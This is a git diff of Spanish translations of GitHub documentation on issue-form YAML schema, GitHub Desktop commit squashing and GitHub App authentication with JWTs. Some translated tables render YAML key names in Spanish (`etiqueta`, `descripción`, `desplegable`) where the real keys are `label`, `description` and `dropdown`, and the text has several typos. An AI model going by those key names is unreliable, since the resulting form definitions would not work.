 versions:
   fpt: '*'
   ghec: '*'
@@ -11,17 +11,17 @@ topics:
 
 {% note %}
 
-**Note:** {% data variables.product.company_short %}'s form schema is currently in beta and subject to change.
+**Nota:** El modelado de formatos de {% data variables.product.company_short %} se encuentra actualmente en beta y está sujeto a cambios.
 
 {% endnote %}
 
-## About {% data variables.product.company_short %}'s form schema
+## Acerca del modelado de formatos de {% data variables.product.company_short %}
 
-You can use {% data variables.product.company_short %}'s form schema to configure forms for supported features. For more information, see "[Configuring issue templates for your repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms)."
+Puedes utilizar el modelado de formato de {% data variables.product.company_short %} para configurar los formatos para las características compatibles. Para obtener más información, consulta "[Configurar plantillas de propuestas para tu repositorio](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms)".
 
-A form is a set of elements for requesting user input. You can configure a form by creating a YAML form definition, which is an array of form elements. Each form element is a set of key-value pairs that determine the type of the element, the properties of the element, and the constraints you want to apply to the element. For some keys, the value is another set of key-value pairs.
+Un formato es un conjunto de elemotos para solicitar la aportación de un usuario. Puedes configurar un formato si creas una definición de formato YAML, la cual es un arreglo de elementos de formato. Cada elemento de formato es un conjunto de pares de valor-llave que determinan el tipo y las propiedades del elemento y las restricciones que quieres aplicarle. Para algunas claves, el valor es otro conjunto de pares de clave-valor.
 
-For example, the following form definition includes four form elements: a text area for providing the user's operating system, a dropdown menu for choosing the software version the user is running, a checkbox to acknowledge the Code of Conduct, and Markdown that thanks the user for completing the form.
+Por ejemplo, la siguente definición de formato incluye cuatro elementos de formato: un área de texto para proporcionar el sistema operativo del usuario, un menú desplegable para elegir la versión de software que está ejecutando el usuario, una casilla de verificación para reconocer que se leyó y aceptó el código de conducta y el lenguaje de marcado que agradece al usuario por haber completado el formato.
 
 ```yaml{:copy}
 - type: textarea
@@ -55,48 +55,48 @@ For example, the following form definition includes four form elements: a text a
     value: "Thanks for completing our form!"
 ```
 
-## Keys
+## Claves
 
-For each form element, you can set the following keys.
+Para cada elemento de formato, puedes configurar las siguientes claves.
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
-| `type` | The type of element that you want to define. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | <ul><li>`checkboxes`</li><li>`dropdown`</li><li>`input`</li><li>`markdown`</li><li>`textarea`</li></ul> |
-| `id` | The identifier for the element, except when `type` is set to `markdown`. {% data reusables.form-schema.id-must-be-unique %} If provided, the `id` is the canonical identifier for the field in URL query parameter prefills. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
-| `attributes` | A set of key-value pairs that define the properties of the element.  | Required | Hash | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
-| `validations` | A set of key-value pairs that set constraints on the element. | Optional | Hash | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| Clave         | Descripción                                                                                                                                                                                                                                                            | Requerido | Tipo      | Predeterminado                                  | Valores válidos                                 |
+| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | --------- | ----------------------------------------------- | ----------------------------------------------- |
+| `type`        | El tipo de elemento que quieres definir.                                                                                                                                                                                                                               | Requerido | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | <ul><li>`checkboxes`</li><li>`dropdown`</li><li>`input`</li><li>`markdown`</li><li>`textarea`</li></ul>                       |
+| `id`          | El identificador del elemento, excepto cuando el `type` se configura como `markdown`. {% data reusables.form-schema.id-must-be-unique %} Si se proporcionó, la `id` es el identificador canónico para el campo en los pre-llenados de parámetro de la consulta de URL. | Opcional  | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
+| `attributes`  | Un conjunto de pares clave-valor que definen las propiedades del elemento.                                                                                                                                                                                             | Requerido | Hash      | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
+| `validations` | Un conjunto de pares de clave-valor que configuran las restricciones en el elemento.                                                                                                                                                                                   | Opcional  | Hash      | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
 
-You can choose from the following types of form elements. Each type has unique attributes and validations.
+Puedes elegir desde los siguientes tipos de elementos de formato. Cada tipo tiene atributos y validaciones únicos.
 
-| Type | Description |
-| ---- | ----------- |
-| [`markdown`](#markdown) | Markdown text that is displayed in the form to provide extra context to the user, but is **not submitted**. |
-| [`textarea`](#textarea) | A multi-line text field. |
-| [`input`](#input) | A single-line text field. |
-| [`dropdown`](#dropdown) | A dropdown menu. |
-| [`checkboxes`](#checkboxes) | A set of checkboxes. |
+| Tipo                        | Descripción                                                                                                                          |
+| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
+| [`markdown`](#markdown)     | El texto de lenguaje de marcado se muestra en el formato para proporcionar contexto adicional al usuario, pero **no se ha enviado**. |
+| [`textarea`](#textarea)     | Un campo de texto de línea múltiple.                                                                                                 |
+| [`input`](#input)           | Un campo de texto de línea sencilla.                                                                                                 |
+| [`desplegable`](#dropdown)  | Un menú desplegable.                                                                                                                 |
+| [`checkboxes`](#checkboxes) | Un conjunto de casillas de verificación.                                                                                             |
 
 ### `markdown`
 
-You can use a `markdown` element to display Markdown in your form that provides extra context to the user, but is not submitted.
+Puedes utilizar un elemento de `markdown` para mostrar el lenguaje de marcado en tu formato que proporcione contexto adicional al usuario, pero que no se haya emitido.
 
-#### Attributes
+#### Atributos
 
 {% data reusables.form-schema.attributes-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
-| `value` | The text that is rendered. Markdown formatting is supported. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| Clave   | Descripción                                                               | Requerido | Tipo      | Predeterminado                                  | Valores válidos                                 |
+| ------- | ------------------------------------------------------------------------- | --------- | --------- | ----------------------------------------------- | ----------------------------------------------- |
+| `value` | El texto se interpreta. El formateo en lenguaje de marcado es compatible. | Requerido | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
 
 {% tip %}
 
-**Tips:** YAML processing will treat the hash symbol as a comment. To insert Markdown headers, wrap your text in quotes.
+**Tips:** El procesamiento de YAML tratará el símbolo de hash como un comentario. Para insertar encabezados con lenguaje de marcado, pon tu texto entre comillas.
 
-For multi-line text, you can use the pipe operator.
+Para el texto de línea múltiple, puedes utilizar el operador de pipa.
 
 {% endtip %}
 
-#### Example
+#### Ejemplo
 
 ```YAML{:copy}
 body:
@@ -110,29 +110,30 @@ body:
 
 ### `textarea`
 
-You can use a `textarea` element to add a multi-line text field to your form. Contributors can also attach files in `textarea` fields.
+Puedes utilizar un elemento de `textarea` para agregar un texto de línea múltiple a tu formato. Los contribuyentes también pueden adjuntar archivos en los campos de `textarea`.
 
-#### Attributes
+#### Atributos
 
 {% data reusables.form-schema.attributes-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
-| `label` | A brief description of the expected user input, which is also displayed in the form. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
-| `description` | A description of the text area to provide context or guidance, which is displayed in the form. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} |
-| `placeholder` | A semi-opaque placeholder that renders in the text area when empty. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} |
-| `value` | Text that is pre-filled in the text area. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
-| `render` | If a value is provided, submitted text will be formatted into a codeblock. When this key is provided, the text area will not expand for file attachments or Markdown editing. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | Languages known to {% data variables.product.prodname_dotcom %}. For more information, see [the languages YAML file](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). |
+| Clave         | Descripción                                                                                                                                                                                                           | Requerido | Tipo      | Predeterminado                                  | Valores válidos                                                                                                                                                                                                          |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | --------- | ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `etiqueta`    | Una descripción breve de la entrada que se espera del usuario, lo cual también se muestra en el formato.                                                                                                              | Requerido | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
+| `descripción` | Una descripción del área de texto para proporcionar contexto u orientación, la cual se muestra en el formato.                                                                                                         | Opcional  | Secuencia | Secuencia vacía                                 | {% octicon "dash" aria-label="The dash icon" %}
+| `placeholder` | Un marcador de posición que interpreta en el área de texto cuando está vacía.                                                                                                                                         | Opcional  | Secuencia | Secuencia vacía                                 | {% octicon "dash" aria-label="The dash icon" %}
+| `value`       | El texto se pre-llena en el área de texto.                                                                                                                                                                            | Opcional  | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
+| `render`      | Si se proporciona un valor, el texto emitido se formatea en un bloque de código. Cuando se proporciona esta llave, el áera de texto no se expandirá para los adjuntos de archivo o la edición de lenguaje de marcado. | Opcional  | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | Los lenguajes que conoce {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta [el archivo YAML de lenguajes](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). |
 
-#### Validations
+#### Validaciones
 
 {% data reusables.form-schema.validations-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
+| Clave | Descripción | Requerido | Tipo | Predeterminado | Valores válidos |
+| ----- | ----------- | --------- | ---- | -------------- | --------------- |
+|       |             |           |      |                |                 |
 {% data reusables.form-schema.required-key %}
 
-#### Example
+#### Ejemplo
 
 ```YAML{:copy}
 body:
@@ -153,28 +154,29 @@ body:
 
 ### `input`
 
-You can use an `input` element to add a single-line text field to your form.
+Puedes utilizar un elemento de `input` para agregar un campo de texto de línea sencilla a tu formato.
 
-#### Attributes
+#### Atributos
 
 {% data reusables.form-schema.attributes-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
-| `label` | A brief description of the expected user input, which is also displayed in the form. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
-| `description` | A description of the field to provide context or guidance, which is displayed in the form. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} |
-| `placeholder` | A semi-transparent placeholder that renders in the field when empty. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} |
-| `value` | Text that is pre-filled in the field. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| Clave         | Descripción                                                                                              | Requerido | Tipo      | Predeterminado                                  | Valores válidos                                 |
+| ------------- | -------------------------------------------------------------------------------------------------------- | --------- | --------- | ----------------------------------------------- | ----------------------------------------------- |
+| `etiqueta`    | Una descripción breve de la entrada que se espera del usuario, lo cual también se muestra en el formato. | Requerido | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
+| `descripción` | Una descripción del campo para proporcionar contexto u orientación, la cual se muestra en el formato.    | Opcional  | Secuencia | Secuencia vacía                                 | {% octicon "dash" aria-label="The dash icon" %}
+| `placeholder` | Un marcador de posición semi-transparente que interpreta en el campo cuando está vacío.                  | Opcional  | Secuencia | Secuencia vacía                                 | {% octicon "dash" aria-label="The dash icon" %}
+| `value`       | El texto se pre-llenó en el campo.                                                                       | Opcional  | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
 
-#### Validations
+#### Validaciones
 
 {% data reusables.form-schema.validations-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
+| Clave | Descripción | Requerido | Tipo | Predeterminado | Valores válidos |
+| ----- | ----------- | --------- | ---- | -------------- | --------------- |
+|       |             |           |      |                |                 |
 {% data reusables.form-schema.required-key %}
 
-#### Example
+#### Ejemplo
 
 ```YAML{:copy}
 body:
@@ -188,30 +190,31 @@ body:
     required: true
 ```
 
-### `dropdown`
+### `desplegable`
 
-You can use a `dropdown` element to add a dropdown menu in your form.
+Puedes utilizar un elemento de `dropdown` para agregar un menú desplegable en tu formato.
 
-#### Attributes
+#### Atributos
 
 {% data reusables.form-schema.attributes-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
-| `label` | A brief description of the expected user input, which is displayed in the form. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
-| `description` | A description of the dropdown to provide extra context or guidance, which is displayed in the form. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} |
-| `multiple` | Determines if the user can select more than one option. | Optional | Boolean | false | {% octicon "dash" aria-label="The dash icon" %} |
-| `options` | An array of options the user can choose from. Cannot be empty and all choices must be distinct. | Required | String array | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| Clave         | Descripción                                                                                                                | Requerido | Tipo                  | Predeterminado                                  | Valores válidos                                 |
+| ------------- | -------------------------------------------------------------------------------------------------------------------------- | --------- | --------------------- | ----------------------------------------------- | ----------------------------------------------- |
+| `etiqueta`    | Una descripción de la entrada que se espera del usuario, lo cual también se muestra en el formato.                         | Requerido | Secuencia             | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
+| `descripción` | Una descripción del menú desplegable para proporcionar contexto adicional u orientación, la cual se muestra en el formato. | Opcional  | Secuencia             | Secuencia vacía                                 | {% octicon "dash" aria-label="The dash icon" %}
+| `multiple`    | Determina si el usuario puede seleccionar más de una opción.                                                               | Opcional  | Booleano              | false                                           | {% octicon "dash" aria-label="The dash icon" %}
+| `options`     | Un arreglo de opciones que puede elegir el usuario. No puede estar vacío y todas las elecciones deben ser distintas.       | Requerido | Arreglo de secuencias | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
 
-#### Validations
+#### Validaciones
 
 {% data reusables.form-schema.validations-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
+| Clave | Descripción | Requerido | Tipo | Predeterminado | Valores válidos |
+| ----- | ----------- | --------- | ---- | -------------- | --------------- |
+|       |             |           |      |                |                 |
 {% data reusables.form-schema.required-key %}
 
-#### Example
+#### Ejemplo
 
 ```YAML{:copy}
 body:
@@ -230,22 +233,22 @@ body:
 
 ### `checkboxes`
 
-You can use the `checkboxes` element to add a set of checkboxes to your form.
+Puedes utilizar el elemento de `checkboxes` para agregar un conjunto de casillas de verificación a tu formato.
 
-#### Attributes
+#### Atributos
 
 {% data reusables.form-schema.attributes-intro %}
 
-| Key | Description | Required | Type | Default | Valid values |
-| --- | ----------- | -------- | ---- | ------- | ------- |
-| `label` | A brief description of the expected user input, which is displayed in the form. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
-| `description` | A description of the set of checkboxes, which is displayed in the form. Supports Markdown formatting. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} |
-| `options` | An array of checkboxes that the user can select. For syntax, see below. | Required | Array | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| Clave         | Descripción                                                                                                                                       | Requerido | Tipo      | Predeterminado                                  | Valores válidos                                 |
+| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | --------- | --------- | ----------------------------------------------- | ----------------------------------------------- |
+| `etiqueta`    | Una descripción de la entrada que se espera del usuario, lo cual también se muestra en el formato.                                                | Opcional  | Secuencia | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
+| `descripción` | Una descripción del conjunto de casillas de verificación, la cual se muestra en el formato. Es compatible con el formateo de lenguaje de marcado. | Opcional  | Secuencia | Secuencia vacía                                 | {% octicon "dash" aria-label="The dash icon" %}
+| `options`     | Un arreglo de casillas de verificación que puede seleccionar el usuario. Para conocer la sintaxis, consulta a continuación.                       | Requerido | Arreglo   | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %}
 
 {% data reusables.form-schema.options-syntax %}
 {% data reusables.form-schema.required-key %}
 
-#### Example
+#### Ejemplo
 
 ```YAML{:copy}
 body:
@@ -260,6 +263,6 @@ body:
       - label: Linux
 ```
 
-## Further reading
+## Leer más
 
 - [YAML](https://yaml.org)
diff --git a/translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md b/translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
index c5c36af8c7..4f095c909f 100644
--- a/translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
+++ b/translations/es-ES/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md
@@ -16,7 +16,7 @@ La combinación te permite combinar confirmaciones múltiples del historial de t
 {% data reusables.desktop.current-branch-menu %}
 2. En la lista de ramas, selecciona aquella que tenga las confirmaciones que quieres combinar.
 {% data reusables.desktop.history-tab %}
-4. Selecciona las confirmaciones a combinar y suéltalas en aquella con la cual las quieras combinar. Puedes seleccionar una confirmación o varias de ellas utilizando <kbd>⌘</kbd> o <kbd>Shift</kbd>. ![función de combinar arrastrando y soltando](/assets/images/help/desktop/squash-drag-and-drop.png)
+4. Selecciona las confirmaciones a combinar y suéltalas en aquella con la cual las quieras combinar. You can select one commit or select multiple commits using <kbd>Command</kbd> or <kbd>Shift</kbd>. ![función de combinar arrastrando y soltando](/assets/images/help/desktop/squash-drag-and-drop.png)
 5. Modifica el mensaje de confirmación de tu confirmación nueva. Los mensajes de confirmación de las confirmaciones seleccionadas que quieres combinar se llenan previamente en los campos de **Resumen** y **Descripción**.
 6. Haz clic en **Combinar confirmaciones**.
 
diff --git a/translations/es-ES/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md b/translations/es-ES/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
index 46267e7a98..2b33026260 100644
--- a/translations/es-ES/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
+++ b/translations/es-ES/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md
@@ -2,7 +2,7 @@
 title: Atajos del teclado
 intro: 'Puedes usar los atajos de teclado en {% data variables.product.prodname_desktop %}.'
 redirect_from:
-  - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop/
+  - /desktop/getting-started-with-github-desktop/keyboard-shortcuts-in-github-desktop
   - /desktop/getting-started-with-github-desktop/keyboard-shortcuts
   - /desktop/installing-and-configuring-github-desktop/keyboard-shortcuts
 versions:
diff --git a/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
index 75409ef3ff..c590563a0c 100644
--- a/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
+++ b/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
@@ -1,9 +1,9 @@
 ---
-title: Authenticating with GitHub Apps
+title: Autenticarse con GitHub Apps
 intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}'
 redirect_from:
-  - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/
-  - /apps/building-github-apps/authentication-options-for-github-apps/
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps
+  - /apps/building-github-apps/authentication-options-for-github-apps
   - /apps/building-github-apps/authenticating-with-github-apps
   - /developers/apps/authenticating-with-github-apps
 versions:
@@ -13,61 +13,59 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Authentication
+shortTitle: Autenticación
 ---
 
 
-## Generating a private key
+## Generar una llave privada
 
-After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests.
+Después de que creas una GitHub App, necesitarás generar una o más llaves privadas. Utilizarás la llave privada para firmar las solicitudes de token de acceso.
 
-You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys).
+Puedes crear varias llaves privadas y rotarlas para prevenir el tiempo de inactividad si alguna llave se pone en riesgo o se pierde. Para verificar que una llave privada empata con una llave pública, consulta la sección [Verificar llaves privadas](#verifying-private-keys).
 
-To generate a private key:
+Para generar una llave privada:
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-5. In "Private keys", click **Generate a private key**.
-![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png)
-6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key.
+5. En "Llaves privadas", da clic en **Generar una llave privada**. ![Generar llave privada](/assets/images/github-apps/github_apps_generate_private_keys.png)
+6. Verás una llave privada en formato PEM que se descarga en tu ordenador. Asegúrate de almacenar este archivo, ya que GitHub solo almacena la porción pública de la llave.
 
 {% note %}
 
-**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format.
+**Nota:** Si estás utilizando una biblioteca que requiere de un formato de archivo específico, el archivo PEM que descargues se encontrará en formato `PKCS#1 RSAPrivateKey`.
 
 {% endnote %}
 
-## Verifying private keys
-{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}.
+## Verificar las llaves privadas
+{% data variables.product.product_name %} genera una huella digital para cada par de llaves pública y privada utilizando la función de hash SHA-256. Puedes verificar que tu llave privada empate con la llave pública almacenada en {% data variables.product.product_name %} generando la huella digital de tu llave privada y comparándola con la huella digital que se muestra en {% data variables.product.product_name %}.
 
-To verify a private key:
+Para verificar una llave privada:
 
-1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key).
-![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
-2. Generate the fingerprint of your private key (PEM) locally by using the following command:
+1. Encuentra la huella digital del par de llaves pública y privada que quieras verificar en la sección "Llaves privadas" de tu página de configuración de desarrollador de {% data variables.product.prodname_github_app %}. Para obtener más información, consulta la sección [Generar una llave privada](#generating-a-private-key). ![Huella digital de llave privada](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
+2. Genera la huella digital de tu llave privada (PEM) localmente utilizando el siguiente comando:
     ```shell
     $ openssl rsa -in <em>PATH_TO_PEM_FILE</em> -pubout -outform DER | openssl sha256 -binary | openssl base64
     ```
-3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}.
+3. Compara los resultados de la huella digital generada localmente con aquella que ves en {% data variables.product.product_name %}.
 
-## Deleting private keys
-You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one.
-![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png)
+## Borra las llaves privadas
+Puedes eliminar una llave privada que se haya perdido o puesto en riesgo si la borras, pero debes de tener por lo menos una llave privada. Cuando solo tienes una llave, necesitas generar una nueva antes de borrar la anterior. ![Borrar la última llave privada](/assets/images/github-apps/github_apps_delete_key.png)
 
-## Authenticating as a {% data variables.product.prodname_github_app %}
+## Autenticarse como una {% data variables.product.prodname_github_app %}
 
-Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things:
+El autenticarte como una {% data variables.product.prodname_github_app %} te permite hacer un par de cosas:
 
-* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}.
-* You can request access tokens for an installation of the app.
+* Puedes recuperar información administrativa de alto nivel acerca de tu {% data variables.product.prodname_github_app %}.
+* Puedes solicitar tokens de acceso para una instalación de la app.
 
-To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key.
+Para autenticarte como una {% data variables.product.prodname_github_app %}, [genera una llave privada](#generating-a-private-key) en formato PEM y descárgala a tu máquina local. Utilizarás esta llave para firmar un [Token Web (JWT) de JSON](https://jwt.io/introduction) y cifrarlo utilizando el algoritmo `RS256`. {% data variables.product.product_name %} revisa que la solicitud se autentique verificando el token con la llave pública almacenada de la app.
 
-Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it.
+Aquí se muestra rápidamente un script de Ruby que puedes utilizar para generar un JWT. Nota que tendrás que ejecutar `gem install jwt` antes de utilizarlo.
 
 <a name="jwt-payload"></a>
+
 ```ruby
 require 'openssl'
 require 'jwt'  # https://rubygems.org/gems/jwt
@@ -90,19 +88,19 @@ jwt = JWT.encode(payload, private_key, "RS256")
 puts jwt
 ```
 
-`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes.
+`YOUR_PATH_TO_PEM` y `YOUR_APP_ID` son los valores que debes reemplazar. Asegúrate de poner los valores entre comillas dobles.
 
-Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI.
+Utiliza tu identificador de {% data variables.product.prodname_github_app %} (`YOUR_APP_ID`) como el valor para la solicitud del [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (emisor) del JWT. Puedes obtener el identificador de {% data variables.product.prodname_github_app %} a través del ping del webhook inicial después de [crear la app](/apps/building-github-apps/creating-a-github-app/), o en cualquier momento desde la página de configuración de la app en la UI de GitHub.com.
 
-After creating the JWT, set it in the `Header` of the API request:
+Después de crear el JWT, configura el `Header` de la solicitud de la API:
 
 ```shell
 $ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github.v3+json" {% data variables.product.api_url_pre %}/app
 ```
 
-`YOUR_JWT` is the value you must replace.
+`YOUR_JWT` es el valor que debes reemplazar.
 
-The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error:
+El ejemplo anterior utiliza el tiempo de caducidad máximo de 10 minutos, después del cual, la API comenzará a devolver el error `401`:
 
 ```json
 {
@@ -111,19 +109,19 @@ The example above uses the maximum expiration time of 10 minutes, after which th
 }
 ```
 
-You'll need to create a new JWT after the time expires.
+Necesitarás crear un nuevo JWT después de que el tiempo caduque.
 
-## Accessing API endpoints as a {% data variables.product.prodname_github_app %}
+## Acceder a terminales de API como una {% data variables.product.prodname_github_app %}
 
-For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)."
+Para obtener una lista de las terminales de API de REST que puedes utilizar para obtener información de alto nivel acerca de una {% data variables.product.prodname_github_app %}, consulta la sección "[GitHub Apps](/rest/reference/apps)".
 
-## Authenticating as an installation
+## Autenticarse como una instalación
 
-Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)."
+El autenticarte como una instalación te permite realizar acciones en la API para dicha instalación. Antes de autenticarte como una instalación, debes crear un token de acceso a ésta. Asegúrate de que ya hayas instalado tu GitHub App en por lo menos un repositorio; es imposible crear un token de instalación si una sola instalación. Las {% data variables.product.prodname_github_apps %} utilizan estos tokens de acceso a la instalación para autenticarse. Para obtener más información, consulta la sección "[Instalar las GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)".
 
-By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour.
+Predeterimenadamente, los tokens de acceso de instalación tienen un alcance de todos los repositorios a los cuales tiene acceso dicha instalación. Puedes limitar el alcance del token de acceso de la instalación a repositorios específicos si utilizas el parámetro `repository_ids`. Consulta la terminal [Crear un token de acceso de instalación para una app](/rest/reference/apps#create-an-installation-access-token-for-an-app) para encontrar más detalles. Los tokens de acceso de instalación cuentan con permisos configurados por la {% data variables.product.prodname_github_app %} y caducan después de una hora.
 
-To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request:
+Para listar las instalaciones para una app autenticada, incluye el JWT [generado anteriormente](#jwt-payload) en el encabezado de autorización en la solicitud de la API:
 
 ```shell
 $ curl -i -X GET \
@@ -132,9 +130,9 @@ $ curl -i -X GET \
